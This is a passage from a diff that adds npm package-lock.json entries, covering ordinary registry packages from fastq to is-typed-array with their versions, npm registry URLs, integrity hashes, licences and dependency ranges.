"sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fastq": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.19.0.tgz", + "integrity": "sha512-7SFSRCNjBQIZH/xZR3iy5iQYR8aGBE0h3VG6/cwlbrpdciNYBMotQav8c1XI3HjHH+NikUpP53nPdlZSdWmFzA==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/file-entry-cache": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", + "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^4.0.0" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", + "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.4" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/flatted": { + "version": "3.4.4", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.4.tgz", + "integrity": "sha512-5+ybhBZANEJxaH3X5evAFatUxLfEHSr7n6kYJ+1Qd0mUqr4eu9gIf6GDbWHf8RJijHrjjO8G+la14SlL2SeS1Q==", + "dev": true, + "license": "ISC" + }, + "node_modules/follow-redirects": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/for-each": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz", + "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-callable": "^1.2.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/form-data": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", + "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.4", + "mime-types": "^2.1.35" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/function.prototype.name": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz", + "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "functions-have-names": "^1.2.3", + "hasown": "^2.0.2", + "is-callable": "^1.2.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-nonce": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz", + "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-symbol-description": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz", + "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/globals": { + "version": "15.15.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-15.15.0.tgz", + "integrity": "sha512-7ACyT3wmyp3I61S4fG682L0VA2RGD9otkqGJIwNUMF1SWUombIIk+af1unuDYgMm082aHYwD+mzJvv9Iu8dsgg==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-properties": "^1.2.1", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "license": "ISC" + }, + "node_modules/graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==", + "dev": true, + "license": "MIT" + }, + "node_modules/has-bigints": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz", + "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz", + "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/immer": { + "version": "11.1.15", + "resolved": "https://registry.npmjs.org/immer/-/immer-11.1.15.tgz", + "integrity": "sha512-VrNANlmnWQnh5COXIIOQXM9oOJw7naGKlBT74ZOOR6lpVXc3gFEu9FJLDFcpCJ2j+NWr8TIwtWD//T6ZX6TKiQ==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/immer" + } + }, + "node_modules/import-fresh": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", + "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/internal-slot": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz", + "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "hasown": "^2.0.2", + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/is-array-buffer": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz", + "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-async-function": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz", + "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "async-function": "^1.0.0", + "call-bound": "^1.0.3", + "get-proto": "^1.0.1", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-bigint": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz", + "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-bigints": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-boolean-object": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz", + "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-core-module": { + "version": "2.16.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", + "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-data-view": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz", + "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "is-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz", + "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-finalizationregistry": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz", + "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-generator-function": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.0.tgz", + "integrity": "sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "get-proto": "^1.0.0", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz", + "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-network-error": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/is-network-error/-/is-network-error-1.3.2.tgz", + "integrity": "sha512-PhBY86zaxNZUuWP6h13Vu5oFe0XY6/UlKzQnYFELzGVHygP3MxmvTfYSG7GN3aIab/iWudSMgjSnG9Dq+nHrgA==", + "license": "MIT", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz", + "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-regex": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz", + "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-set": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz", + "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz", + "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-string": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz", + "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz", + "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "has-symbols": "^1.1.0", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.15", + "resolved": 